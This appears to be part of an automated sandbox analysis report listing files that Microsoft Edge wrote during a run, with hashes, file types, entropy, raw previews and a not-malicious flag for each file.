SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\aea99816-ab58-4454-916a-a3de1484706e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.24071372158401
Encrypted:	false
SSDEEP:	12:7xlvVaYebvqBZFUt8Ox7/+OxFz5OaYebvqBaJ:73VaYebvyg8Ox/lOaYebvL
MD5:	D72F06681D3E3754F5AEE07BF9CF66CC
SHA1:	C0B0371779A395014034F48109B3B1CFE8605E65
SHA-256:	454FCA2B51A6B9BB9EAF273DA6BB6E1CD30665C1E35FD2CF52083DC0303E4645
SHA-512:	36839D33BC0FAABCB44CB53FA1CDB52134232A63B8702CFF8B1C757EB51E6B22E56CCDD99B4FA0FDFF6DC10F408E32C309CBF5DE3EA95FCD4E2AB7F2A06DA8DF
Malicious:	false
Preview:	2024/12/17-06:13:40.524 1904 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/17-06:13:40.525 1904 Recovering log #3.2024/12/17-06:13:40.529 1904 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.24071372158401
Encrypted:	false
SSDEEP:	12:7xlvVaYebvqBZFUt8Ox7/+OxFz5OaYebvqBaJ:73VaYebvyg8Ox/lOaYebvL
MD5:	D72F06681D3E3754F5AEE07BF9CF66CC
SHA1:	C0B0371779A395014034F48109B3B1CFE8605E65
SHA-256:	454FCA2B51A6B9BB9EAF273DA6BB6E1CD30665C1E35FD2CF52083DC0303E4645
SHA-512:	36839D33BC0FAABCB44CB53FA1CDB52134232A63B8702CFF8B1C757EB51E6B22E56CCDD99B4FA0FDFF6DC10F408E32C309CBF5DE3EA95FCD4E2AB7F2A06DA8DF
Malicious:	false
Preview:	2024/12/17-06:13:40.524 1904 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/12/17-06:13:40.525 1904 Recovering log #3.2024/12/17-06:13:40.529 1904 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.185199595822148
Encrypted:	false
SSDEEP:	6:7pOpkQ+q2PN723oH+TcwtpIFUt8OpISdWZmw+Op9MQVkwON723oH+Tcwta/WLJ:7opR+vVaYebmFUt8OOAW/+O35V5OaYev
MD5:	B26A6D5D82385C33FEC689C92273C576
SHA1:	D659491C362FAEE3AF99FC12862BEEFCA9EFAEC7
SHA-256:	7655A37DB9D06B4864A5779A52AAB9005BEB3DF0DFF53A490296F75D2D0C2B83
SHA-512:	6A4E2D14399147E911427C7238B6FE4493FC24DD0C249E1BDB0C1C9B59E8AC84C32ADEA2AC3FA148A2356AE5C5594E0F26C794B5EA33D1F8D9B898DFCA720037
Malicious:	false
Preview:	2024/12/17-06:13:23.257 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/17-06:13:23.356 1c3c Recovering log #3.2024/12/17-06:13:23.357 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.185199595822148
Encrypted:	false
SSDEEP:	6:7pOpkQ+q2PN723oH+TcwtpIFUt8OpISdWZmw+Op9MQVkwON723oH+Tcwta/WLJ:7opR+vVaYebmFUt8OOAW/+O35V5OaYev
MD5:	B26A6D5D82385C33FEC689C92273C576
SHA1:	D659491C362FAEE3AF99FC12862BEEFCA9EFAEC7
SHA-256:	7655A37DB9D06B4864A5779A52AAB9005BEB3DF0DFF53A490296F75D2D0C2B83
SHA-512:	6A4E2D14399147E911427C7238B6FE4493FC24DD0C249E1BDB0C1C9B59E8AC84C32ADEA2AC3FA148A2356AE5C5594E0F26C794B5EA33D1F8D9B898DFCA720037
Malicious:	false
Preview:	2024/12/17-06:13:23.257 1c3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/17-06:13:23.356 1c3c Recovering log #3.2024/12/17-06:13:23.357 1c3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.0033769341339387224
Encrypted:	false
SSDEEP:	3:ImtVuXhLOOlG/0:IiVuxy/
MD5:	0ED559049C24973E8C39E26851639903
SHA1:	7E58E79247A2B4B772CF59DC8976626091D85F18
SHA-256:	CB8B5EDB78628D9BD22C8B8BD4FC37ADAD856B371FF60C6C55E0F3E52A8F567C
SHA-512:	8C4E4462E9E4DFFD3260ABFFBE6C7B64555CC38FB07CC96FBB62A76C4FCB1D0062BF4B7673DA2A370983F1349CAFBCDCB0D014B59B80E911DBA59F1CF2F9AF1A
Malicious:	false
Preview:	VLnk.....?........A..Z.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2677260136041575
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMxSA1LyKOMq+8iP5GDHP/0jMVumn:Kq+n0Jx91LyKOMq+8iP5GLP/02
MD5:	1529EEC2F3D34F958FD5A335E962BBA6
SHA1:	80DD8F42BE35F756600AB9B4E46D44E074FA1082
SHA-256:	A93E0F97F7B5A869422DAA4625397014AFB4D117228C355DBB9211B7532BBCBE
SHA-512:	CD8E3893E10ABE9F125587C9C29622909BAA0815137D9EB1A99853E30EAD592CE844455D093A440133D6132BB53F379868B60AEBB26905E85C95A07E70A9F4EA
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2568
Entropy (8bit):	0.06569804787746028
Encrypted:	false
SSDEEP:	3:CfFl1l3/Pl8:CfH/O
MD5:	89B9F1AE44459BF35E074CC6EF1FB789
SHA1:	E0A9591BC74B0ABCA9198E6335DB1EDD97555C78
SHA-256:	8774F4960E3ADEF045FDC111DD31F956AED457EDDA2A9602706CC783F23C58F0
SHA-512:	4D5B5121EBA1DF206F0EAEEED0BF9D72EB2CB80940E3804EDECDCC266ABD8B1E6A96DB241E400FE3CD313ECE56A370E131BCF3E8D34E2D9701BFCCFBC439A96F
Malicious:	false
Preview:	............g@.....`.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................../....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.41235120905181716
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB:v7doKsKuKZKlZNmu46yjx
MD5:	981F351994975A68A0DD3ECE5E889FD0
SHA1:	080D3386290A14A68FCE07709A572AF98097C52D
SHA-256:	3F0C0B2460E0AA2A94E0BF79C8944F2F4835D2701249B34A13FD200F7E5316D7
SHA-512:	C5930797C46EEC25D356BAEB6CFE37E9F462DEE2AE8866343B2C382DBAD45C1544EF720D520C4407F56874596B31EFD6822B58A9D3DAE6F85E47FF802DBAA20B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a621251f-947f-4bdb-b571-162b6bcadd5f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28539
Entropy (8bit):	5.562044186583687
Encrypted:	false
SSDEEP:	768:qSzH7OWXF7pLGLhVMW5wlBf4sT8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPvMI7gzBQ:qGbOITchVMWalBflTu1ja0ZKyQtc
MD5:	B31C8D2FC6CF35FE5130FD07CA5BF360
SHA1:	10784E65F585DB6A44996A48A5560A0F4F176503
SHA-256:	E111D00C4906891B8412141B2413549B300FC7566CCD9648008EF2525357CF39
SHA-512:	8A25140A5D3ECBAED6C4E14C88BEF2BCFF408D3A5FBFDF55F4AE7566047C9C2C69603D72790C5C02E9AFDBE23F70901E0DF332C57EBCA5B134FC4D32CC8C4D48
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378907603256849","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378907603256849","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a9b30111-3f4d-49f1-89b9-1896f79f474e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b03863bd-ffca-462b-a0d6-f85a235e5de0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b9200970-7351-4ec0-86c1-d13dbaa8f217.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.060844312308982365
Encrypted:	false
SSDEEP:	6:Gy0sukfK0sukQ89XCChslotGLNl0ml/Vl/Vl/U8oQXmlXCUWls:CmrzspEjVl/PnvoQW1
MD5:	774AAFF510F679B04B7D7317765D7E8C
SHA1:	2A7759D9EE55B4FA7DB96CAA80B50FBF7D777F40
SHA-256:	662CEEFA1DA7AA029171FEDCAC98E455E02144B80DD68ABD845475915FF37E21
SHA-512:	E36971655C6519EDA0D39FFC2C9C8BAAFD2C3EDC667DC614B2D496E723C4701A13BCCC96BBC7F68A8469F29D4F850587D989C0DDAC05F1AEA7A95143FA5887B5
Malicious:	false
Preview:	..-......................J..xY.$J...V..x...}.L8..-......................J..xY.$J...V..x...}.L8........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	119512
Entropy (8bit):	0.7412600688187032
Encrypted:	false
SSDEEP:	96:e6xLV0xNs/cNswO5NshNsaQ21gWmxmdvZ/:pLV0sHQcab1pmxmv
MD5:	708D21B5ADEF6225559355B9D9772636
SHA1:	980D805BD6F3AF20A914F25AE939268D98824C26
SHA-256:	8759314194E29D7AC8344F9A31270E90E4F4CC2B52604DAA47476F0C536C72AE
SHA-512:	2A0402C90A4FA8051D68E818A1F8AD29E5525F7D8AD9D059CF94AE6AE6556CD8368AC579E865E81262BAD7A48C059A5A4A4176B91AC2CF5D5A3070A4DAD96F51
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5262
Entropy (8bit):	5.7800922537026524
Encrypted:	false
SSDEEP:	48:F3GMVyz+c2VdDF7NfVyz+c2Vd0xdOkFlJX/Vyz+c2VdoOUOhutX/Vyz+c2VdoOUe:ZnQv2TQv2Wph/Qv22/Qv2mm
MD5:	E7A2CF14B3BE35151951001AA2124EA2
SHA1:	D79103FE0A105B6B4DBF9081432F6FCE09BE19BF
SHA-256:	5D2F093A1CF768594CC0241116DCB0E4081D3AD39958F1B14CFBE4B46CFF85D2
SHA-512:	D2C81656BB6B3C3E10EDC2792F5B08E92F672FDA53E855432E41E511C9FE89DFE794615ADEDE6E0243A9DF90CFA43B4AEFC6D44B14AD4BED2E977F27D1DBA453
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............x.VU...............021_download,dccf76ef-240a-4e38-a1ae-ef41eb0b9d02......$dccf76ef-240a-4e38-a1ae-ef41eb0b9d02...............M".....https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1...https://uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.com/cd/0/get/CgZSoca0CIhy-F_xAYR1XBh7zYuyV6wJ0VaZFJiZHwd1PeDCWAeCqt1maYf488EWa-xLnkRmZ4glBXIR8VYXeHERoIa7fAEXRnOt9q5QZYWHtnygLpWLibiOwgG

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.195261125678263
Encrypted:	false
SSDEEP:	6:7pKfyq2PN723oH+TcwtfrK+IFUt8Opt1Zmw+Op7RkwON723oH+TcwtfrUeLJ:7YfyvVaYeb23FUt8OB/+OdR5OaYeb3J
MD5:	6691D96B49987EC3C090536E00CD8BA4
SHA1:	1BB2111600EE518B64C678D15F56CC9AAEF99B25
SHA-256:	4DD58220782C0485601C2A9FAFE0BD978480364D641A0C8EC0FE4BFC110AE68F
SHA-512:	5701901E2A63C3291F518BD4CC8E1B26CDF5255D93080E8276AA329CAFE77E2B7F34F2EAC03BE2075CEDD431B2249494CDC5F030EDF845B4377FE0E4BE0F1BA6
Malicious:	false
Preview:	2024/12/17-06:13:23.792 1fe0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/17-06:13:23.793 1fe0 Recovering log #3.2024/12/17-06:13:23.793 1fe0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.195261125678263
Encrypted:	false
SSDEEP:	6:7pKfyq2PN723oH+TcwtfrK+IFUt8Opt1Zmw+Op7RkwON723oH+TcwtfrUeLJ:7YfyvVaYeb23FUt8OB/+OdR5OaYeb3J
MD5:	6691D96B49987EC3C090536E00CD8BA4
SHA1:	1BB2111600EE518B64C678D15F56CC9AAEF99B25
SHA-256:	4DD58220782C0485601C2A9FAFE0BD978480364D641A0C8EC0FE4BFC110AE68F
SHA-512:	5701901E2A63C3291F518BD4CC8E1B26CDF5255D93080E8276AA329CAFE77E2B7F34F2EAC03BE2075CEDD431B2249494CDC5F030EDF845B4377FE0E4BE0F1BA6
Malicious:	false
Preview:	2024/12/17-06:13:23.792 1fe0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/17-06:13:23.793 1fe0 Recovering log #3.2024/12/17-06:13:23.793 1fe0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
